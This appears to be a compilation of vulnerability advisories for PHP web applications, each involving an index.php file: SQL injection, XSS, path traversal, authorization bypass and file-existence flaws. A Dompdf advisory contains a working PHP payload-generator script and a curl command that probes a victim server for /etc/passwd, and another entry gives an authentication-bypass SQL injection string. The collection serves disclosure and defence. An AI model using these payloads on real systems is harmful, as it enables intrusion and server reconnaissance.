A vulnerability was detected in code-projects Task Management System 1.0. Affected is an unknown function of the file /index.php of the component Login. Performing a manipulation of the argument Password results in improper authentication. The attack is possible to be carried out remotely. The exploit is now public and may be used.
A flaw has been found in SourceCodester Photo Share Website 1.0. The affected element is an unknown function of the file /social/index.php?page=home. This manipulation of the argument Comment causes cross site scripting. The attack may be initiated remotely. The exploit has been published and may be used.
Miantang/IoT-PHP's index.php implements a POST /userlogin route that reads the password directly from ['pwd'] with no sanitization and concatenates it into a raw SQL string: mysql_query("select * from userlists where username='' and password='' limit 1"). An unauthenticated attacker can submit a payload such as pwd=' OR '1'='1 to bypass authentication and, via UNION-based injection, extract arbitrary data from the database.
CVE-2026-18720 is a medium severity vulnerability in kalcaddle kodbox 1.67 Build 02 affecting the msgWarning plugin. It allows remote attackers to perform improper authorization via the /index.php?plugin/msgWarning/action endpoint. Exploit code has been published, but no vendor response or patch is currently available.
## Description
Dompdf is vulnerable to a **File Existence Oracle** attack through the manipulation of the CSS `@font-face` directive. By providing malicious HTML that references local files via the `file://` protocol repeatedly, an attacker can trigger PHP memory exhaustion.
The critical point of this flaw is the discrepancy in system behavior:
1. **If the file exists:** Dompdf attempts to process the local resource multiple times, leading to an "Allowed memory size exhausted" error, which crashes the creation.
2. **If the file does NOT exist:** The rendering engine fails quickly or ignores the import, and the memory limit is not reached.
This discrepancy allows an attacker to enumerate sensitive files on the server, regardless of `CHROOT` restrictions.
Some factors impact the ability of attackers to exploit the vulnerability:
- The attacker must be allowed to provide unrestricted and/or unsanitized HTML content.
- System parameters must be configured in such a way that Dompdf is able to generate a memory overflow error.
- HTTP GET querystring or POST body must allow large data
- Memory limits must be low enough that Dompdf can trigger an overflow
- `$_dompdf_show_warnings` when set to true can bump memory usage
---
## Example Scenario
### 1. Vulnerable System
A web application provides a public mechanism for generating a PDF based on user supplied content. The application accepts raw HTML input or renders user-supplied content without sanitation or validation and processes it using Dompdf.
- Vulnerable Endpoint: http://example.com/index.php
- Vulnerable Parameter: html_input (POST)
`index.php` simplified:
```
$dompdf = new Dompdf(new Options());
$dompdf->loadHtml($_POST['html_input']);
$dompdf->render();
$dompdf->stream("document.pdf");
```
<img width="2530" height="1320" alt="image" src="https://github.com/user-attachments/assets/a3fe336c-097a-408a-b8b4-cdbaf5f8d7c4" />
### 2. Attack Generation
The attacker runs a script locally on their own machine to generate a heavy payload. This payload is then sent to the victim's public endpoint via a standard HTTP POST request.
- Attacker's Local Script (payload_gen.php):
```PHP
<?php
/**
* Usage: php exploit.php <file_path> <iterations>
* Example: php exploit.php /etc/passwd 5000
*/
// Check if the file argument was provided
if ($argc < 2) {
echo "[-] Usage: php exploit.php <file_to_read> [iterations]\n";
exit(1);
}
$file = $argv[1];
$iterations = isset($argv[2]) ? (int)$argv[2] : 5000;
function generate_payload($file, $iterations) {
$css = "";
$body = "";
// We use @font-face to trick the engine into attempting a local file read
for ($i = 0; $i < $iterations; $i++) {
$css .= "@font-face { font-family: \"f{$i}\"; src: url(\"file://{$file}\"); }\n";
$body .= "<span style=\"font-family:f{$i}\">.</span>";
}
return "<html><head><style>{$css}</style></head><body>{$body}</body></html>";
}
// Output the payload to stdout for piping
echo generate_payload($file, $iterations);
?>
```
### 3. Exploitation
The attacker pipes the malicious HTML into a curl request targeting the remote server:
```
php payload_gen.php /etc/passwd 5530 | curl -X POST https://victim-app.com/index.php \
--data-urlencode "html_input@-" \
--output response.pdf
```
By analyzing the `response.pdf` file generated (by the size or error), the remote attacker can confirm the existence of files without having direct access to the server. When a file reference is valid and the execution parameters are met, Dompdf overflows the PHP limit and hangs/crashes.
#### Existent file:
<img width="2544" height="702" alt="image" src="https://github.com/user-attachments/assets/a565e9b9-5bf7-486c-acac-c2adfc4af536" />
#### Non-existent file:
<img width="1872" height="706" alt="image" src="https://github.com/user-attachments/assets/6e71dbdd-294a-4b2c-a183-4bbbfddcdee2" />
Note that the specific iteration count that will trigger the overflow varies by system. This is based on the memory limit imposed by the target system as well as the PHP internals related to memory management (heap allocation and garbage clean up). Under most scenarios there is no apparent difference in memory usage between existent and non-existent files. But with a specific number of file operations the memory limit can be breached only when the file exists.
---
## Impact
**Information Disclosure (File Oracle via Reflected HTML)**: In scenarios where a user can control reflected HTML, an attacker can confirm the existence of sensitive local files (e.g., `.env` files, SSH keys, or system configurations). By observing whether the application returns a memory exhaustion error (file exists) or renders normally (file does not exist), the attacker can systematically map the server's file system.
CI4MS is a CodeIgniter 4-based content management system skeleton. Prior to version 0.31.9.0, the `Pages` backend module registers the `html_purify` validation rule on language-keyed page content but persists the raw, un-purified POST value into the database. The public renderer for pages (`Home::index()` → `app/Views/templates/default/pages.php`) emits `$pageInfo->content` without `esc()`, yielding stored XSS that fires for every public visitor of the affected page — including administrators. Because pages may be promoted to the site home page, the payload can be served at `/` and reach every visitor of the site. Version 0.31.9.0 patches the issue.
CI4MS is a CodeIgniter 4-based content management system skeleton. Prior to version 0.31.9.0, the Fileeditor module enforces an extension allowlist (`['css','js','html','txt','json','sql','md']`) on content-write operations (`saveFile`, `createFile`), but two destructive endpoints — `deleteFileOrFolder` and `renameFile` — never validate the extension of the *source* path. A backend user with file-editor permissions can therefore unlink or rename any file inside the project root that is not explicitly listed in the small `$hiddenItems` blocklist. Critical framework files such as `app/Config/Routes.php`, `app/Config/App.php`, `app/Config/Database.php`, `app/Config/Filters.php`, `public/index.php`, and `public/.htaccess` all live outside that blocklist and can be destroyed, producing a persistent denial of service that requires filesystem-level redeployment to recover. Version 0.31.9.0 patches the issue.
A flaw has been found in itsourcecode Courier Management System up to 1.0. Affected by this vulnerability is an unknown functionality of the file /index.php. Executing a manipulation of the argument page can lead to cross site scripting. It is possible to launch the attack remotely. The exploit has been published and may be used.
Kirby is an open-source content management system. In versions 5.3.0 and above but prior to 5.4.1, Kirby did not correctly validate the provided user ID, resulting in a path traversal vulnerability. Version 5.3.0 introduced a performance improvement to the Users collection that loaded user objects lazily when first needed. Users were queried by their ID, which was then used to locate the corresponding account directory under site/accounts. This affected the authentication API (accessible to unauthenticated requests), the users API (accessible only to authenticated users), and any other place that uses $users->find() to look up an individual user by a request-provided email or ID. As a result, an attacker could trigger arbitrary PHP file inclusion of files named index.php (for example, the main PHP files of plugins), the impact of which depends on the logic those files contain. It also allowed probing for the existence of arbitrary directories on the server, letting attackers fingerprint the server and site setup, including installed plugins and the content structure. This issue has been fixed in version 5.4.1.
Easy!Appointments is a self hosted appointment scheduler. In versions up to and including 1.5.2, the booking reschedule view at `/index.php/booking/reschedule/{appointment_hash}` (handled by `Booking::index()`) embeds the entire customer record as inline JavaScript (`const vars = {... "customer_data": {...}, ...}`) without authentication and without field whitelisting. Anyone in possession of the 12-character `appointment_hash` — which appears in plain text in reschedule emails, confirmation page URLs, and operator-side calendar links — can read every column of that customer's row in the `ea_users` table. Version 1.6.0 contains a patch.
CVE-2026-15540 is a medium severity vulnerability in SourceCodester Online Book Store System version 1.0. It involves improper control of the filename used in an include or require statement within the administrative interface's /admin/index.php file. This flaw allows remote attackers to manipulate the 'page' argument, potentially leading to unintended file inclusion. The vulnerability is publicly known, but no official patch or remediation guidance has been provided yet.
A security vulnerability has been detected in SourceCodester Online Book Store System 1.0. Impacted is an unknown function of the file /admin/index.php?page=books of the component Book Image Upload Feature. Such manipulation leads to unrestricted upload. The attack may be performed from remote. The exploit has been disclosed publicly and may be used.
WuzhiCMS versions 4.0 and 4.1.0 contain an information disclosure vulnerability in the Attachment API component, specifically in the config/listimage function of /index.php?m=attachment&f=index&v=upload. This flaw allows remote attackers to manipulate the function to disclose information. The vulnerability has a medium severity rating with a CVSS score of 6.9. No official patch or remediation has been provided by the vendor as of the publication date. Exploit code has been published, but no known exploitation in the wild has been confirmed.
A vulnerability was detected in MacCMS Pro up to 2022.1000.3005. Impacted is the function step5 of the file application/install/controller/Index.php of the component Installation Module. The manipulation results in authorization bypass. The attack may be launched remotely. The attack requires a high level of complexity. The exploitability is considered difficult. The exploit is now public and may be used. Upgrading to version 2022.1000.3025 is recommended to address this issue. Upgrading the affected component is recommended.
A vulnerability was determined in CodeAstro Simple Online Leave Management System 1.0. Affected by this vulnerability is an unknown functionality of the file /SimpleOnlineLeave/index.php. Executing a manipulation of the argument email can lead to sql injection. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized.
Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.474, the buildHelperImage method in app/Livewire/Settings/Index.php constructs a Docker build command using the dev_helper_version field without shell escaping, allowing an attacker who can set the helper version and trigger the helper image build in a development environment to execute arbitrary commands on the server. This issue is fixed in version 4.0.0-beta.474.
A vulnerability was found in CodeAstro Apartment Visitor Management System 1.0. Affected is an unknown function of the file /index.php of the component Login. Performing a manipulation of the argument Username results in sql injection. Remote exploitation of the attack is possible. The exploit has been made public and could be used.
A vulnerability was determined in kirilkirkov Ecommerce-CodeIgniter-Bootstrap up to 49b20f53de2b7ec34e920b11c863f1491d911a04. This affects an unknown part of the file /index.php/api/product/set of the component Hidden REST API Endpoint. This manipulation of the argument title/description causes cross site scripting. The attack is possible to be carried out remotely. The exploit has been publicly disclosed and may be utilized. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. Patch name: d9785f995da77bdc62fb2d34bad5f7a162c9ad23. To fix this issue, it is recommended to deploy a patch.
A security vulnerability has been detected in SourceCodester CET Automated Grading System with AI Predictive Analytics 1.0. This vulnerability affects unknown code of the file /index.php?action=view_student of the component POST Handler. The manipulation of the argument ID leads to authorization bypass. Remote exploitation of the attack is possible. The exploit has been disclosed publicly and may be used.